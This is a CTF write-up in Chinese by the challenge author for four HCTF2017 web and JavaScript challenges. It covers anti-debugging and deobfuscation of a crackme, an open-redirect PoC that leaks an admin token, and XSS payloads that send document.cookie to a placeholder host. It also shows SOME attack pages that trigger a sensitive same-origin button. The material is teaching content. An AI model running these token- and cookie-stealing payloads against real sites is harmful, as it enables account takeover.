作者:LoRexxar'@知道創宇404實驗室

11月12日結束的HCTF2017,我總共出了其中4道題目,這4道題目涵蓋了我這半年來接觸的很多有趣的東西。下面就簡單講講出題思路以及完整的Writeup。

babycrack

Description 
just babycrack
1.flag.substr(-5,3)=="333"
2.flag.substr(-8,1)=="3"
3.Every word makes sence.
4.sha256(flag)=="d3f154b641251e319855a73b010309a168a12927f3873c97d2e5163ea5cbb443" 

Now Score 302.93
Team solved 45


A World Restored
Description:
nothing here or all the here ps:flag in admin cookie 
flag is login as admin
Now Score 674.44
Team solved 7


A World Restored Again
Description: 
New Challenge !! 
hint: flag only from admin bot
Now Score 702.6
Team solved 6

Deserted place
Description 
maybe nothing here 
flag in admin cookie
Now Score 820.35
Team solved 3
  • babycrack是一道前端js的題目,包含了反調試、代碼混淆、邏輯混淆3步。
  • A world Restored比較有趣,是一個站庫分離的站點。有兩個漏洞,一個比較像中間人的信息泄露,另一個是dom xss。
  • Deserted place是一個比較古老的技術,叫做SOME,但是了解細節的人非常少。

babycrack

還是很抱歉題目的驗證邏輯還是出現了不可逆推的問題,被迫在比賽中途加入4個hint來修復問題,下面我們來慢慢看看代碼。

題目源碼如下 https://github.com/LoRexxar/HCTF2017-babycrack

整個題目由反調試+代碼混淆+邏輯混淆3部分組成,你可以說題目毫無意義完全為了出題而出題,但是這種代碼確實最最真實的前端代碼,現在許多站點都會選擇使用反調試+混淆+一定程度的代碼混淆來混淆部分前端代碼。

出題思路主要有兩篇文章:

整個題目主要是在我分析chrome拓展后門時候構思的,代碼同樣經過了很多重的混淆,讓我們來一步步解釋。

反調試

第一部分是反調試,當在頁面內使用F12來調試代碼時,會卡死在debugger代碼處。

這里舉個例子就是蘑菇街的登陸驗證代碼。

具體代碼是這樣的

eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){(3 a(){7{(3 b(2){9((\'\'+(2/2)).5!==1||2%g===0){(3(){}).8(\'4\')()}c{4}b(++2)})(0)}d(e){f(a,6)}})()})();',17,17,'||i|function|debugger|length|5000|try|constructor|if|||else|catch||setTimeout|20'.split('|'),0,{}));

美化一下

(function () {
    (function a() {
        try {
            (function b(i) {
                if (('' + (i / i)).length !== 1 || i % 20 === 0) {
                    (function () {}).constructor('debugger')()
                } else {
                    debugger
                }
                b(++i)
            })(0)
        } catch (e) {
            setTimeout(a, 5000)
        }
    })()
})();

這就是比較常見的反調試。我這里提供3種辦法來解決這步。

1、使用node做代碼調試。

由于這里的debugger檢測的是瀏覽器的調試,如果直接對代碼調試就不會觸發這樣的問題。

2、靜態分析

因為題目中代碼較少,我沒辦法把代碼混入深層邏輯,導致代碼可以純靜態分析。

3、patch debugger函數

由于debugger本身只會觸發一次,不會無限制的卡死調試器,這里會出現這種情況,主要是每5s輪詢檢查一次。那么我們就可以通過patch settimeout函數來繞過。

window._setTimeout = window.setTimeout;
window.setTimeout = function () {};

這里可以用瀏覽器插件TamperMonkey解決問題。

除了卡死debug以外,我還加入了輪詢刷新console的代碼。

setInterval("window.console.log('Welcome to HCTF :>')", 50);

同樣的辦法可以解決,就不多說了。

代碼混淆

在去除掉這部分無用代碼之后,我們接著想辦法去除代碼混淆。

這里最外層的代碼混淆,我是通過https://github.com/javascript-obfuscator/javascript-obfuscator做了混淆。

ps:因為我在代碼里加入了es6語法,市面上的很多工具都不支持es6語法,會導致去混淆的代碼語法錯誤!

更有趣的是,這種混淆是不可逆的,所以我們只能通過逐漸去混淆的方式來美化代碼。

我們可以先簡單美化一下代碼格式

(function (_0xd4b7d6, _0xad25ab) {
    var _0x5e3956 = function (_0x1661d3) {
        while (--_0x1661d3) {
            _0xd4b7d6['push'](_0xd4b7d6['shift']());
        }
    };
    _0x5e3956(++_0xad25ab);
}(_0x180a, 0x1a2));
var _0xa180 = function (_0x5c351c, _0x2046d8) {
    _0x5c351c = _0x5c351c - 0x0;
    var _0x26f3b3 = _0x180a[_0x5c351c];
    return _0x26f3b3;
};

function check(_0x5b7c0c) {
    try {
        var _0x2e2f8d = ['code', _0xa180('0x0'), _0xa180('0x1'), _0xa180('0x2'), 'invalidMonetizationCode', _0xa180('0x3'), _0xa180('0x4'), _0xa180('0x5'), _0xa180('0x6'), _0xa180('0x7'), _0xa180('0x8'), _0xa180('0x9'), _0xa180('0xa'), _0xa180('0xb'), _0xa180('0xc'), _0xa180('0xd'), _0xa180('0xe'), _0xa180('0xf'), _0xa180('0x10'), _0xa180('0x11'), 'url', _0xa180('0x12'), _0xa180('0x13'), _0xa180('0x14'), _0xa180('0x15'), _0xa180('0x16'), _0xa180('0x17'), _0xa180('0x18'), 'tabs', _0xa180('0x19'), _0xa180('0x1a'), _0xa180('0x1b'), _0xa180('0x1c'), _0xa180('0x1d'), 'replace', _0xa180('0x1e'), _0xa180('0x1f'), 'includes', _0xa180('0x20'), 'length', _0xa180('0x21'), _0xa180('0x22'), _0xa180('0x23'), _0xa180('0x24'), _0xa180('0x25'), _0xa180('0x26'), _0xa180('0x27'), _0xa180('0x28'), _0xa180('0x29'), 'toString', _0xa180('0x2a'), 'split'];
        var _0x50559f = _0x5b7c0c[_0x2e2f8d[0x5]](0x0, 0x4);
        var _0x5cea12 = parseInt(btoa(_0x50559f), 0x20);
        eval(function (_0x200db2, _0x177f13, _0x46da6f, _0x802d91, _0x2d59cf, _0x2829f2) {
            _0x2d59cf = function (_0x4be75f) {
                return _0x4be75f['toString'](_0x177f13);
            };
            if (!'' ['replace'](/^/, String)) {
                while (_0x46da6f--) _0x2829f2[_0x2d59cf(_0x46da6f)] = _0x802d91[_0x46da6f] || _0x2d59cf(_0x46da6f);
                _0x802d91 = [function (_0x5e8f1a) {
                    return _0x2829f2[_0x5e8f1a];
                }];
                _0x2d59cf = function () {
                    return _0xa180('0x2b');
                };
                _0x46da6f = 0x1;
            };
            while (_0x46da6f--)
                if (_0x802d91[_0x46da6f]) _0x200db2 = _0x200db2[_0xa180('0x2c')](new RegExp('\x5cb' + _0x2d59cf(_0x46da6f) + '\x5cb', 'g'), _0x802d91[_0x46da6f]);
            return _0x200db2;
        }(_0xa180('0x2d'), 0x11, 0x11, _0xa180('0x2e')['split']('|'), 0x0, {}));
        (function (_0x3291b7, _0xced890) {
            var _0xaed809 = function (_0x3aba26) {
                while (--_0x3aba26) {
                    _0x3291b7[_0xa180('0x4')](_0x3291b7['shift']());
                }
            };
            _0xaed809(++_0xced890);
        }(_0x2e2f8d, _0x5cea12 % 0x7b));
        var _0x43c8d1 = function (_0x3120e0) {
            var _0x3120e0 = parseInt(_0x3120e0, 0x10);
            var _0x3a882f = _0x2e2f8d[_0x3120e0];
            return _0x3a882f;
        };
        var _0x1c3854 = function (_0x52ba71) {
            var _0x52b956 = '0x';
            for (var _0x59c050 = 0x0; _0x59c050 < _0x52ba71[_0x43c8d1(0x8)]; _0x59c050++) {
                _0x52b956 += _0x52ba71[_0x43c8d1('f')](_0x59c050)[_0x43c8d1(0xc)](0x10);
            }
            return _0x52b956;
        };
        var _0x76e1e8 = _0x5b7c0c[_0x43c8d1(0xe)]('_');
        var _0x34f55b = (_0x1c3854(_0x76e1e8[0x0][_0x43c8d1(0xd)](-0x2, 0x2)) ^ _0x1c3854(_0x76e1e8[0x0][_0x43c8d1(0xd)](0x4, 0x1))) % _0x76e1e8[0x0][_0x43c8d1(0x8)] == 0x5;
        if (!_0x34f55b) {
            return ![];
        }
        b2c = function (_0x3f9bc5) {
            var _0x3c3bd8 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
            var _0x4dc510 = [];
            var _0x4a199f = Math[_0xa180('0x25')](_0x3f9bc5[_0x43c8d1(0x8)] / 0x5);
            var _0x4ee491 = _0x3f9bc5[_0x43c8d1(0x8)] % 0x5;
            if (_0x4ee491 != 0x0) {
                for (var _0x1e1753 = 0x0; _0x1e1753 < 0x5 - _0x4ee491; _0x1e1753++) {
                    _0x3f9bc5 += '';
                }
                _0x4a199f += 0x1;
            }
            for (_0x1e1753 = 0x0; _0x1e1753 < _0x4a199f; _0x1e1753++) {
                _0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')](_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5) >> 0x3));
                _0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5) & 0x7) << 0x2 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x1) >> 0x6));
                _0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x1) & 0x3f) >> 0x1));
                _0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x1) & 0x1) << 0x4 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x2) >> 0x4));
                _0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x2) & 0xf) << 0x1 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x3) >> 0x7));
                _0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x3) & 0x7f) >> 0x2));
                _0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x3) & 0x3) << 0x3 | _0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x4) >> 0x5));
                _0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')](_0x3f9bc5[_0x43c8d1('f')](_0x1e1753 * 0x5 + 0x4) & 0x1f));
            }
            var _0x545c12 = 0x0;
            if (_0x4ee491 == 0x1) _0x545c12 = 0x6;
            else if (_0x4ee491 == 0x2) _0x545c12 = 0x4;
            else if (_0x4ee491 == 0x3) _0x545c12 = 0x3;
            else if (_0x4ee491 == 0x4) _0x545c12 = 0x1;
            for (_0x1e1753 = 0x0; _0x1e1753 < _0x545c12; _0x1e1753++) _0x4dc510[_0xa180('0x2f')]();
            for (_0x1e1753 = 0x0; _0x1e1753 < _0x545c12; _0x1e1753++) _0x4dc510[_0x43c8d1('1b')]('=');
            (function () {
                (function _0x3c3bd8() {
                    try {
                        (function _0x4dc510(_0x460a91) {
                            if (('' + _0x460a91 / _0x460a91)[_0xa180('0x30')] !== 0x1 || _0x460a91 % 0x14 === 0x0) {
                                (function () {}['constructor']('debugger')());
                            } else {
                                debugger;
                            }
                            _0x4dc510(++_0x460a91);
                        }(0x0));
                    } catch (_0x30f185) {
                        setTimeout(_0x3c3bd8, 0x1388);
                    }
                }());
            }());
            return _0x4dc510[_0xa180('0x31')]('');
        };
        e = _0x1c3854(b2c(_0x76e1e8[0x2])[_0x43c8d1(0xe)]('=')[0x0]) ^ 0x53a3f32;
        if (e != 0x4b7c0a73) {
            return ![];
        }
        f = _0x1c3854(b2c(_0x76e1e8[0x3])[_0x43c8d1(0xe)]('=')[0x0]) ^ e;
        if (f != 0x4315332) {
            return ![];
        }
        n = f * e * _0x76e1e8[0x0][_0x43c8d1(0x8)];
        h = function (_0x4c466e, _0x28871) {
            var _0x3ea581 = '';
            for (var _0x2fbf7a = 0x0; _0x2fbf7a < _0x4c466e[_0x43c8d1(0x8)]; _0x2fbf7a++) {
                _0x3ea581 += _0x28871(_0x4c466e[_0x2fbf7a]);
            }
            return _0x3ea581;
        };
        j = _0x76e1e8[0x1][_0x43c8d1(0xe)]('3');
        if (j[0x0][_0x43c8d1(0x8)] != j[0x1][_0x43c8d1(0x8)] || (_0x1c3854(j[0x0]) ^ _0x1c3854(j[0x1])) != 0x1613) {
            return ![];
        }
        k = _0xffcc52 => _0xffcc52[_0x43c8d1('f')]() * _0x76e1e8[0x1][_0x43c8d1(0x8)];
        l = h(j[0x0], k);
        if (l != 0x2f9b5072) {
            return ![];
        }
        m = _0x1c3854(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x0, 0x4)) - 0x48a05362 == n % l;

        function _0x5a6d56(_0x5a25ab, _0x4a4483) {
            var _0x55b09f = '';
            for (var _0x508ace = 0x0; _0x508ace < _0x4a4483; _0x508ace++) {
                _0x55b09f += _0x5a25ab;
            }
            return _0x55b09f;
        }
        if (!m || _0x5a6d56(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x5, 0x1), 0x2) == _0x76e1e8[0x4][_0x43c8d1(0xd)](-0x5, 0x4) || _0x76e1e8[0x4][_0x43c8d1(0xd)](-0x2, 0x1) - _0x76e1e8[0x4][_0x43c8d1(0xd)](0x4, 0x1) != 0x1) {
            return ![];
        }
        o = _0x1c3854(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x6, 0x2))[_0x43c8d1(0xd)](0x2) == _0x76e1e8[0x4][_0x43c8d1(0xd)](0x6, 0x1)[_0x43c8d1('f')]() * _0x76e1e8[0x4][_0x43c8d1(0x8)] * 0x5;
        return o && _0x76e1e8[0x4][_0x43c8d1(0xd)](0x4, 0x1) == 0x2 && _0x76e1e8[0x4][_0x43c8d1(0xd)](0x6, 0x2) == _0x5a6d56(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x7, 0x1), 0x2);
    } catch (_0x4cbb89) {
        console['log']('gg');
        return ![];
    }
}

代碼里主要有幾點混淆:

1、變量名替換,a --> _0xd4b7d6,這種東西最煩,但是也最簡單,批量替換,在我看來即使abcd這種變量也比這個容易讀

2、提取了所有的方法到一個數組,這種也簡單,只要在chrome中逐步調試替換就可以了。

還有一些小的細節,很常見,沒什么可說的

"s".length()  --> "s"['length']()

最終代碼可以優化到這個地步,基本已經可讀了,下一步就是分析代碼了。

function check(flag){
    var _ = ['\x63\x6f\x64\x65', '\x76\x65\x72\x73\x69\x6f\x6e', '\x65\x72\x72\x6f\x72', '\x64\x6f\x77\x6e\x6c\x6f\x61\x64', '\x69\x6e\x76\x61\x6c\x69\x64\x4d\x6f\x6e\x65\x74\x69\x7a\x61\x74\x69\x6f\x6e\x43\x6f\x64\x65', '\x54\x6a\x50\x7a\x6c\x38\x63\x61\x49\x34\x31', '\x4b\x49\x31\x30\x77\x54\x77\x77\x76\x46\x37', '\x46\x75\x6e\x63\x74\x69\x6f\x6e', '\x72\x75\x6e', '\x69\x64\x6c\x65', '\x70\x79\x57\x35\x46\x31\x55\x34\x33\x56\x49', '\x69\x6e\x69\x74', '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x68\x65\x2d\x65\x78\x74\x65\x6e\x73\x69\x6f\x6e\x2e\x63\x6f\x6d', '\x6c\x6f\x63\x61\x6c', '\x73\x74\x6f\x72\x61\x67\x65', '\x65\x76\x61\x6c', '\x74\x68\x65\x6e', '\x67\x65\x74', '\x67\x65\x74\x54\x69\x6d\x65', '\x73\x65\x74\x55\x54\x43\x48\x6f\x75\x72\x73', '\x75\x72\x6c', '\x6f\x72\x69\x67\x69\x6e', '\x73\x65\x74', '\x47\x45\x54', '\x6c\x6f\x61\x64\x69\x6e\x67', '\x73\x74\x61\x74\x75\x73', '\x72\x65\x6d\x6f\x76\x65\x4c\x69\x73\x74\x65\x6e\x65\x72', '\x6f\x6e\x55\x70\x64\x61\x74\x65\x64', '\x74\x61\x62\x73', '\x63\x61\x6c\x6c\x65\x65', '\x61\x64\x64\x4c\x69\x73\x74\x65\x6e\x65\x72', '\x6f\x6e\x4d\x65\x73\x73\x61\x67\x65', '\x72\x75\x6e\x74\x69\x6d\x65', '\x65\x78\x65\x63\x75\x74\x65\x53\x63\x72\x69\x70\x74', '\x72\x65\x70\x6c\x61\x63\x65', '\x64\x61\x74\x61', '\x74\x65\x73\x74', '\x69\x6e\x63\x6c\x75\x64\x65\x73', '\x68\x74\x74\x70\x3a\x2f\x2f', '\x6c\x65\x6e\x67\x74\x68', '\x55\x72\x6c\x20\x65\x72\x72\x6f\x72', '\x71\x75\x65\x72\x79', '\x66\x69\x6c\x74\x65\x72', '\x61\x63\x74\x69\x76\x65', '\x66\x6c\x6f\x6f\x72', '\x72\x61\x6e\x64\x6f\x6d', '\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74', '\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65', '\x70\x61\x72\x73\x65'];

    var head = flag['substring'](0, 4);
    var base = parseInt(btoa(head), 0x20); //344800


    (function (b, c) {
        var d = function (a) {
                while (--a) {
                    b['push'](b['shift']())
                }
            };
        d(++c);
    }(_, base%123));

    var g = function (a) {
            var a = parseInt(a, 0x10);
            var c = _[a];
            return c;
        };

    var s2h = function(str){
        var result = "0x";
        for(var i=0;i<str['length'];i++){
            result += str['charCodeAt'](i)['toString'](16)
        }
        return result;
    }

    var b = flag['split']("_");
    var c = (s2h(b[0]['substr'](-2,2)) ^ s2h(b[0]['substr'](4,1))) % b[0]['length'] == 5;
    if(!c){
        return false;
    }

    b2c = function(s) {
    var alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";

    var parts = [];
    var quanta = Math.floor((s['length'] / 5));
    var leftover = s['length'] % 5;

    if (leftover != 0) {
        for (var i = 0; i < (5 - leftover); i++) {
            s += '\x00';
        }
        quanta += 1;
    }

    for (i = 0; i < quanta; i++) {
        parts.push(alphabet.charAt(s['charCodeAt'](i * 5) >> 3));
        parts.push(alphabet.charAt(((s['charCodeAt'](i * 5) & 0x07) << 2) | (s['charCodeAt'](i * 5 + 1) >> 6)));
        parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 1) & 0x3F) >> 1)));
        parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 1) & 0x01) << 4) | (s['charCodeAt'](i * 5 + 2) >> 4)));
        parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 2) & 0x0F) << 1) | (s['charCodeAt'](i * 5 + 3) >> 7)));
        parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 3) & 0x7F) >> 2)));
        parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 3) & 0x03) << 3) | (s['charCodeAt'](i * 5 + 4) >> 5)));
        parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 4) & 0x1F))));
    }

    var replace = 0;
    if (leftover == 1)
        replace = 6;
    else if (leftover == 2)
        replace = 4;
    else if (leftover == 3)
        replace = 3;
    else if (leftover == 4)
        replace = 1;

    for (i = 0; i < replace; i++)
        parts.pop();
    for (i = 0; i < replace; i++)
        parts.push("=");

    return parts.join("");
    }

    e = s2h(b2c(b[2])['split']("=")[0])^0x53a3f32
    if(e != 0x4b7c0a73){
        return false;
    }

    f = s2h(b2c(b[3])['split']("=")[0]) ^ e;
    if(f != 0x4315332){
        return false;
    }

    n = f*e*b[0]['length'];

    h = function(str, func){
        var result = "";
        for(var i=0;i<str['length'];i++){
            result += func(str[i])
        }
        return result;
    }

    j = b[1]['split']("3");
    if(j[0]['length'] != j[1]['length'] || (s2h(j[0])^s2h(j[1])) != 0x1613){
        return false;
    }

    k = str => str['charCodeAt']()*b[1]['length'];

    l = h(j[0],k);
    if(l!=0x2f9b5072){
        return false;
    }

    m = s2h(b[4]['substr'](0,4))-0x48a05362 == n%l;

    function u(str, j){
        var result = "";
        for(var i=0;i<j;i++){
            result += str;
        }
        return result;
    }

    if(!m || u(b[4]['substr'](5,1),2) == b[4]['substr'](-5,4) || (b[4]['substr'](-2,1) - b[4]['substr'](4,1)) != 1){
        return false
    }

    o = s2h(b[4]['substr'](6,2))['substr'](2) == b[4]['substr'](6,1)['charCodeAt']()*b[4]['length']*5;

    return o && b[4]['substr'](4,1) == 2 && b[4]['substr'](6,2) == u(b[4]['substr'](7,1),2);
}

剩下的代碼已經沒什么可說的了。

  1. 首先是確認flag前綴,然后按照_分割為5部分。
  2. g函數對基礎數組做了一些處理,已經沒什么懂了。
  3. s2h是字符串到hex的轉化函數
  4. 第一部分的驗證不完整,導致嚴重的多解,只能通過爆破是否符合sha256來解決。
  5. 后面引入的b2c函數很簡單,測試就能發現是一個base32函數。
  6. 第三部分和第四部分最簡單,異或可得
  7. h函數會對輸入的字符串每位做func函數處理,然后拼接起來。
  8. 第二部分由3分割,左右兩邊長度相等,同樣可以推算出結果。
  9. k是我專門加入的es6語法的箭頭語法,對傳入的每個字母做乘7操作。
  10. 最后一題通過簡單的判斷,可以確定最后一部分的前四位。
  11. u函數返回指定字符串的指定前幾位
  12. 剩下的就是一連串的條件:
  13. 首先是一些很關鍵的的重復位,由于我寫錯了一些東西,導致這里永遠是false,后被迫給出這幾位.!m || u(b[4]['substr'](5,1),2) == b[4]['substr'](-5,4) || (b[4]['substr'](-2,1) - b[4]['substr'](4,1)) != 1
  14. 最后一部分是集合長度、以及部分條件完成的,看上去存在多解,但事實上是能逆向出來結果的。

當我們都完成這部分的時候,flag就會被我們解出來了。

A World Restored

題目源碼如下: https://github.com/LoRexxar/HCTF2017-A-World-Restored

A World Restored在出題思路本身是來自于uber在10月14號公開的一個漏洞https://stamone-bug-bounty.blogspot.jp/2017/10/dom-xss-auth_14.html,為了能盡可能的模擬真實環境,我這個不專業的Web開發只能強行上手實現站庫分離。

其中的一部分非預期,也都是因為站庫分離實現的不好而導致的。(更開放的題目環境,導致了很多可能,或許這沒什么不好的?

整個站的結構是這樣的:

  1. auth站負責用戶數據的處理,包括登陸驗證、注冊等,是數據庫所在站。
  2. messbox站負責用戶的各種操作,但不連接數據庫。

這里auth站與messbox站屬于兩個完全不同的域,受到同源策略的影響,我們就需要有辦法來溝通兩個站。

而這里,我選擇使用token做用戶登陸的校驗+jsonp來獲取用戶數據。站點結構如下:

簡單來說就是,messbox登陸賬號完全受到token校驗,即使你在完全不知道賬號密碼的情況下,獲取該token就可以登陸賬號。

那么怎么獲取token登陸admin賬號就是第一題。

而第二題,漏洞點就是上面文章中寫的那樣,反射性的domxss,可以得到服務端的flag。

為了兩個flag互不干擾,我對服務端做了一定的處理,服務端負責處理flag的代碼如下:

$flag1 = "hctf{xs5_iz_re4lly_complex34e29f}";
$flag2 = "hctf{mayb3_m0re_way_iz_best_for_ctf}";

if(!empty($_SESSION['user'])){
    if($_SESSION['user'] === 'hctf_admin_LoRexxar2e23322'){
                setcookie("flag", $flag, time()+3600*48," ","messbox.2017.hctf.io", 0, true);
        }

    if($_SESSION['user'] === 'hctf_admin_LoRexxar2e23322' && $_GET['check']=="233e"){
        setcookie("flag2", $flag2, time()+3600*48," ",".2017.hctf.io");
    }
}

可以很明顯的看出來,flag1是httponly并在messbox域下,只能登陸才能查看。flag2我設置了check位,只有bot才會訪問這個頁面,這樣只有通過反射性xss,才能得到flag。

下面我們回到題目。

A World Restored
A World Restored
Description:
nothing here or all the here ps:flag in admin cookie 
flag is login as admin
URL http://messbox.2017.hctf.io
Now Score 674.44
Team solved 7

這道題目在比賽結束時,只有7只隊伍最終完成了,非常出乎我的意料,因為漏洞本身非常有意思。(這個漏洞是ROIS發現的)

為了能夠實現token,我設定了token不可逆的二重驗證策略,但是在題目中我加入了一個特殊的接口,讓我們回顧一下。

auth域中的login.php,我加入了這樣一段代碼

if(!empty($_GET['n_url'])){
        $n_url = trim($_GET['n_url']);
        echo "<script nonce='{$random}'>window.location.href='".$n_url."?token=".$usertoken."'</script>";
        exit;
    }else{
        // header("location: http://messbox.hctf.com?token=".$usertoken);
        echo "<script nonce='{$random}'>window.location.</script>";
        exit;
    }

這段代碼也是兩個漏洞的核心漏洞點,假設你在未登錄狀態下訪問messbox域下的user.php或者report.php這兩個頁面,那么因為未登錄,頁面會跳轉到auth域并攜帶n_url,如果獲取到登陸狀態,這里就會拼接token傳回messbox域,并賦予登陸狀態。

簡單的流程如下:

未登錄->獲取當前URL->跳轉至auth->獲取登陸狀態->攜帶token跳轉到剛才獲取的URL->messbox登陸成功

當然,這其中是有漏洞的。

服務端bot必然登陸了admin賬號,如果我們直接請求login.php并制定下一步跳轉的URL,那么我們就可以獲取拼接上的token!

poc

http://auth.2017.hctf.io/login.php?n_url=http://{you_website}

得到token我們就可以登陸messbox域,成功登陸admin

A World Restored Again
A World Restored Again
Description: 
New Challenge !! 
hint: flag only from admin bot
URL http://messbox.2017.hctf.io
Now Score 702.6
Team solved 6

到了第二部,自然就是xss了,其實題目本身非常簡單,在出題之初,為了避免題目出現“垃圾時間”(因為非預期導致題目不可解),我在題目中加入了跟多元素。

并把flag2放置在.2017.hctf.io域下,避免有人找到messbox的xss但是打不到flag的問題。(沒想到真的用上了)

這里我就簡單描述下預期解法和非預期解法兩個。

預期解法

預期解法當然來自于出題思路。

https://stamone-bug-bounty.blogspot.jp/2017/10/dom-xss-auth_14.html

漏洞本身非常簡單,但有意思的是利用思路。

當你發現了一個任意URL跳轉的漏洞,會不會考慮漏洞是怎么發生的?

也許你平時可能沒注意過,但跳轉一般是分兩種的,第一種是服務端做的,利用header: location,這種跳轉我們沒辦法阻止。第二種是js使用location.href導致的跳轉。

既然是js實現的,那么是不是有可能存在dom xss漏洞呢?

這個uber的漏洞由來就是如此。

這里唯一的考點就是,js是一種順序執行的語言,如果location報錯,那么就不會繼續執行后面的js,如果location不報錯,那么就可能在執行下一句之前跳轉走。

當然,辦法很多。最普通的可能是在location后使用stop()來阻止跳轉,但最好用的就是新建script塊,這樣上一個script報錯不會影響到下一個script塊。

最終payload

</script><script src="http://auth.hctf.com/getmessage.php?callback=window.location.href='http://xxx?cookie='+document.cookie;//"></script

exp

http://auth.2017.hctf.io/login.php?n_url=%3E%3C%2fscript%3E%3Cscript%20src%3D%22http%3A%2f%2fauth.2017.hctf.io%2fgetmessage.php%3Fcallback%3Dwindow.location.href%3D%27http%3A%2f%2fxxx%3Fcookie%3D%27%252bdocument.cookie%3B%2f%2f%22%3E%3C%2fscript%3E
非預期解法

除了上面的漏洞以外,messbox也有漏洞,username在首頁沒有經過任何過濾就顯示在了頁面內。

但username這里漏洞會有一些問題,因為本身預期的漏洞點并不是這里,所以這里的username經過我框架本身的一點兒過濾,而且長度有限制,所以從這里利用的人會遇到很多非預期的問題。

payload如下,注冊名為

<script src=//auth.2017.hctf.io/getmessage.php?callback=location=%27http://xxx/%27%2bbtoa(document.cookie);//></script>

的用戶名,并獲取token。

傳遞

http://messbox.2017.hctf.io/?token=NDYyMGZlMTNhNWM3YTAxY3xQSE5qY21sd2RDQnpjb
U05THk5aGRYUm9Makl3TVRjdWFHTjBaaTVwYnk5blpYUnRaWE56WVdkbExuQm9jRDlqWVd4c1ltR
mphejFzYjJOaGRHbHZiajBsTWpkb2RIUndPaTh2Y205dmRHc3VjSGN2SlRJM0pUSmlZblJ2WVNoa
2IyTjFiV1Z1ZEM1amIyOXJhV1VwT3k4dlBqd3ZjMk55YVhCMFBnPT0=

即可

Deserted place

出題思路來自于一個比較特別的叫做SOME的攻擊方式,全名Same Origin Method Execution,這是一種2015年被人提出來的攻擊方式,可以用來執行同源環境下的任意方法,2年前就有人做了分析。

題目源碼如下 https://github.com/LoRexxar/HCTF2017-Deserted-place

我們一起來研究一下

SOME?

首先我們一起來探究一個SOME是什么?

SOMe,Same Origin Method Execution,這是Ben Hayak 在 Black Hat Eorope 2014 演講的題目。在隨后的15年,公開了SOME相關的完整paper,其中講述了和SOME相關的各種場景和利用思路。有興趣的朋友可以去看看視頻.

https://www.youtube.com/watch?v=OvarkOxxdic

我們都知道jsonp是用來解決跨域處理數據問題的解決方案,但是也許會有這樣一種情況出現,某個網站的某個富文本編輯器支持選擇字體顏色,當你點擊按鈕的時候,會彈出類似于顏色點選器的輪盤網頁,當你選擇某一顏色時,這個顏色就會修改原頁面的字體頁面,這個接口或許是這樣實現的。

http://a.com/color.php?callback=get_color

color.php的代碼是這樣的

<script>
function get_color(data) {
    // todo here
}
</script>

<script>
<?php echo $_GET['callback']."();"; ?>
</script>

當訪問color.php的時候,頁面就會自動執行get_color,這個頁面和父頁面同源,結構也和傳統的jsonp接口不太一樣,但這種情況完全有可能發生。

一般來說,我們可能會嘗試在get_color嘗試domxss,遺憾的是,大部分這樣的接口都只允許.\w+的字符輸入。

而SOME攻擊,就是在這種場景下出現的,在callback這里的缺陷可以導致執行同源下的任意方法,值得注意的是,這種攻擊方法并不是csrf,他可以完全模擬你的任何行為。

這種攻擊方式有幾個局限性: 1、受到返回頭的影響,如果返回頭為Content-T ype: application/json,則任何利用都不會生效。 2、攻擊者沒辦法操作執行函數傳入參數,或者可以說是比較難操作。 3、受到同源策略的限制,只能執行同源下的任意方法。

讓我們來測試一下

首先我們需要一個站點來模擬一下

index.html

<form>
    <button onclick="c()">Secret Button</button>
    </form>
<script>
    function c() {
        alert("LoRexxar click!");
    }
</script>

jsonp.php

<?php
$callback = empty($_GET["callback"]) ? "jsCallback" : $_GET["callback"];

echo "<script>";
echo $callback . "()";
echo "</script>";

我們假設click是一個敏感的按鈕,這種情況我們可以通過SOME來點擊這個按鈕來執行相應的js。

首先我們需要一個some1.html

<script>
    function start_some() {
        window.open("some2.html");
        location.replace("http://b.com/index.html");
    }

    setTimeout(start_some(), 1000);
</script>

其次需要一個some2.html

<script>
    function attack() {
        location.replace("http://b.com/jsonp.php?callback=window.opener.document.body.firstElementChild.firstElementChild.click");
    }

    setTimeout(attack, 2000);

</script>

當我們打開some1.html的時候,c函數成功被執行了

